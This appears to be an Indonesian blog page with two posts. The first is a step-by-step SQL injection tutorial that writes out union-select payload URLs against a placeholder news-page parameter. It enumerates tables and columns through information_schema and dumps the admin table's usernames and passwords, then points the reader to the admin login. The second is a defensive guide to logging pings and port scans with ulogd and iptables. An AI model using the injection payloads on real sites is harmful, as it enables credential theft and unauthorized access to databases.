Showing posts with label Computer. Show all posts
Showing posts with label Computer. Show all posts

Sunday, 27 May 2012

My SQL Injection Step by Step



Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
ehingga muncul pesan error seperti berikut (masih bnyak lagi):


==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh:


[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...
misal:


[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--


===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..


============
=step Empat:=
============

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

Code:

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah "admin"


===========
=step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir



[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema. ​tables+where+table_schema=database()--

=============
= step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir



[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema ​.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

http://www.v3n0m.net/ascii.htm

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E



[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema ​.columns+where+table_name=0x61646D696E--

============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

Contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--

contoh kata yang keluar adalah id,username,password

Contoh :

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--

==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login

Saturday, 26 May 2012

Ping Of Deadth


Artikel ini dibuat untuk memonitoring kondisi box linux dari serangan Ping Of Death, Scanning port, maupun sekedar eksperimen saja ......... ^_^

Cara kerja daemon ini adalah dengan mencatat log yang terdapat pada iptables ke file /var/log/ulogd.sylogemu.

Biasanya log yang tidak menggunakan ulogd akan di memenuhi log "dmesg". Maka dengan ulogd, log-log yang anda buat pada rule iptables akan dialihkan ke log-nya ulogd. Aku menginstall ulogd ini di mesin Slackware10 dengan kernel 2.6.7. Tidak ada copyright apapun dalam dukumen ini, anda bebas menyalin, mencetak, maupun memodifikasi (dengan menyertakan nama penulis asli)


Oke .... saat nya beraksi,... sebelomnya /me mengucapkan terima kasih kepada mas Hari-uhui atas supportnya.... ^_^

Di asumsikan anda telah mengerti konsep TCP/IP dan iptables. sekedar mengulangin tentang iptables anda dapat membaca artikelnya mas s3trum di http://efnet.linux.or.id/docs/iptables.html

Bagi yang suka merokok ........ silahkan sambil ngisep tuh ... rokok ........ & tanggung sendiri dampak negatifnya ya. ....

Sorry agak nyindir.... soalnya aku dah berhenti merokok sejak kelas 1 SMU ...... aku mulai merokok dari kelas 5 SD .…... dah bosen ... Hmm jangan lupa makanan ringan ... &. minumnya ala kadarnya... Juz Alpokat + Terong Belanda .... (kalo mo ikutin porsi aku)
 


1. Persiapan


Login dari level user biasa ke root, disarankan jangan menjalankan command "su" secara langsung. Biasakan untuk selalu mengetik command tersebut langsung dari nama path-nya, yaitu "/bin/su". Dengan mengetik full pathname, berarti anda menjalankan program su langsung dari sumbarnya. Metode ini sangat penting guna memproteksi passwd Superuser dari penyadapan program2 Trojan Horse. Selanjutnya masuk ke direktory temporari tempat biasanya anda meng-install tool-tool. Saya biasanya meletakkan di /tmp/installer, lalu download dan compile tool tersebut.


[sysadmin@router1]$ /bin/su root

[root@router1]# mkdir /tmp/installer

[root@router1]# cd /tmp/installer

[root@router1]# wget -c http://freshmeat.net/redir/ulogd/10896/url_bz2/ulogd-1.02.tar.bz2

[root@router1]# bunzip2 ulogd-1.02.tar.bz2

[root@router1]# tar -xf ulogd-1.02.tar

[root@router1]# cd ulogd-1.02


-

Disini kita akan melakukan perubahan sedikit path pada file configure karena pada configurasi default sama sekali logging iptables tidak akan ter-log.


Konfigurasi path default nya seperti ini :

/usr/local/sbin/ulogd <== file executie

/usr/local/etc/ulogd.conf <== file konfigurasi

/var/log/ulog.log <== log kondisi daemond

/var/log/ulog.syslogemu <== log laporan iptables

-

Caranya dengan mengedit file configure

# --- ubah menjadi seperti ini ---

bindir='/bin'

sbindir='/sbin'

libexecdir='/libexec'

datadir='/share'

sysconfdir='/etc'

sharedstatedir='/com'

localstatedir='/var'

libdir='/lib'

includedir='/include'

oldincludedir='/usr/include'

infodir='/info'

mandir='/man'


-

Compile Source nya

[root@router1]# ./configure

[root@router1]# make

[root@router1]# make install



Setelah berhasil di install maka file2 penting ulogd akan terletak di direktori :

/sbin/ulogd <== file executie

/etc/ulogd.conf <== file konfigurasi


Lalu jalankan daemon ulogd

[root@router1]# /sbin/ulogd -c /etc/ulogd.conf &

Fri Sep 3 13:44:04 2004 <3> ulogd.c:300 registering interpreter `raw'

Fri Sep 3 13:44:04 2004 <3> ulogd.c:300 registering interpreter `oob'

Fri Sep 3 13:44:04 2004 <3> ulogd.c:300 registering interpreter `ip'

Fri Sep 3 13:44:04 2004 <3> ulogd.c:300 registering interpreter `tcp'

Fri Sep 3 13:44:04 2004 <3> ulogd.c:300 registering interpreter `icmp'

Fri Sep 3 13:44:04 2004 <3> ulogd.c:300 registering interpreter `udp'

Fri Sep 3 13:44:04 2004 <3> ulogd.c:300 registering interpreter `ahesp'

Fri Sep 3 13:44:04 2004 <5> ulogd.c:355 registering output `syslogemu'



Lihat apakah ulogd anda sudah berjalan
[root@router1]# ps ax|grep ulogd

5858 pts/0 S 0:00 /sbin/ulogd -c /etc/ulogd.conf


-

[root@router1]# tail -f /var/log/ulogd.log

Fri Sep 3 13:44:04 2004 <3> ulogd.c:479 ulogd Version 1.01 starting

Fri Sep 3 13:44:04 2004 <5> ulogd.c:696 initialization finished, entering main loop



Oke ........ sekarang daemon ulogd anda sudah jalan .........


Agar dapat dijalankan setiap mesin anda booting maka dapat ditambahkan di rc.local

[root@router1] echo "/sbin/ulogd -c /etc/ulogd.conf &" >> /etc/rc.d.rc.local 


2. Konfigurasi Kernel dan Module


Agar kernel anda support dengan iptables maka terlebih dahulu harus mengaktifkan

config option CONFIG_IP_NF_TARGET_ULOG pada netfilter dengan me-recompile kernel

atau hanya me-recompile module netfilter


[root@router1] cd /usr/src/linux-2.6.7/

[root@router1] make modules SUBDIRS=net/ipv4/netfilter

[root@router1] make modules_install



3. Membuat rule log iptables


Berhubung saya menggunakan distro Slackware, maka rule iptables-nya diletakkin pada /etc/rc.d/rc.firewall

sedangkan untuk distro RedHat dapat diketikkan langsung pada console dan akan tersimpan otomatis pada /etc/sysconfig/iptables


/usr/sbin/iptables -A INPUT -p icmp --icmp-type "echo-request" -m limit --limit 5/minute -j ULOG --ulog-prefix '< Ping Scan >'

/usr/sbin/iptables -A in_tcp -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit --limit 1/s --limit-burst 5 -j ULOG --ulog-level \

--ulog-pre fix '< Stealth Scan >'

/usr/sbin/iptables -A in_tcp -p tcp --tcp-flags ALL FIN,URG,PSH -m limit --limit 5/m -j ULOG --ulog-level --ulog-prefix \

'< XMAS Scan >'

/usr/sbin/iptables -A in_tcp -p tcp --tcp-flags SYN,RST SYN,RST -m limit --limit 5/m -j ULOG --ulog-level --ulog-prefix \

'< SYN/RST Scan>'

/usr/sbin/iptables -A in_tcp -p tcp --tcp-flags SYN,FIN SYN,FIN -m limit --limit 5/m -j ULOG --ulog-level --ulog-prefix \

'< SYN/FIN Scan>'



Restart iptables anda, untuk mesin Slackware

[root@router1]# /etc/rc.d/rc.inet2 restart


Untuk mesin Redhat

[root@router1]# /etc/inet.d/iptables save

[root@router1]# /etc/inet.d/iptables restart



4. Mengetes logging iptables

Setelah ulogd di running kan dan iptables direstart ........ saat nya anda mengetest loging tersebut ...........

Skenario yang saya buat adalah dimana mesin router1 (192.168.0.2) di Ping oleh Win2003 server (192.168.0.1)

dan port scanner dari Notebook (192.168.3.37)


Ping yang dilakukan oleh Win2003 Server

*==========================================

Welcome to Microsoft Telnet Server.

*==========================================

C:\Documents and Settings\Administrator>ping 192.168.0.2

Pinging 192.168.0.2 with 32 bytes of data:

Reply from 192.168.0.2: bytes=32 time<1ms TTL=64

Reply from 192.168.0.2: bytes=32 time<1ms TTL=64


Ping statistics for 192.168.0.2:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms


-

Kemudian lihat hasil logging iptablesnya :

[root@router1]# tail -f /var/log/ulogd.syslogemu

Sep 3 13:55:46 ns1 < Ping Scan > IN=eth0 OUT= MAC=00:80:48:11:c2:d7:00:c1:28:01:ce:2f:08:00 SRC=192.168.0.1 \

DST=192.168.0.2 LEN=60 TOS=00 PREC=0x00 TTL=128 ID=433 PROTO=ICMP TYPE=8 CODE=0 ID=512 SEQ=256

Sep 3 13:55:47 ns1 < Ping Scan > IN=eth0 OUT= MAC=00:80:48:11:c2:d7:00:c1:28:01:ce:2f:08:00 SRC=192.168.0.1 \

DST=192.168.0.2 LEN=60 TOS=00 PREC=0x00 TTL=128 ID=435 PROTO=ICMP TYPE=8 CODE=0 ID=512 SEQ=512



Port Scanning dari IP 192.168.3.37

[root@iman]# nmap -v www.imanibbi.ac.id

Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-09-03 13:51 WIT

Host ns1.imanibbi.ac.id (192.168.2.1) appears to be up ... good.

Initiating SYN Stealth Scan against ns1.imanibbi.ac.id (192.168.2.1) at 13:51



Kemudian lihat lagi hasil logging iptablesnya :

[root@router1]# tail -f /var/log/ulogd.syslogemu

Sep 3 14:01:17 ns1 < Stealth Scan > IN=eth2 OUT= MAC=00:80:48:17:0d:57:00:80:48:17:0d:4a:08:00

SRC=192.168.3.37 DST=192.168.2.1 LEN=40 TOS=00 PREC=0x00 TTL=63 ID=230 DF PROTO=TCP SPT=36344 DPT=79

SEQ=138215714 ACK=0 WINDOW=0 RST URGP=0



Dari hasil logging diatas kelihatan bahwa ip 192.168.0.1 dan 192.168.3.37 masing-masing telah melakukan ping dan port scanning.


Untuk contoh-contoh rule logging yang lain, anda dapat mencarinya di !google …… ^_^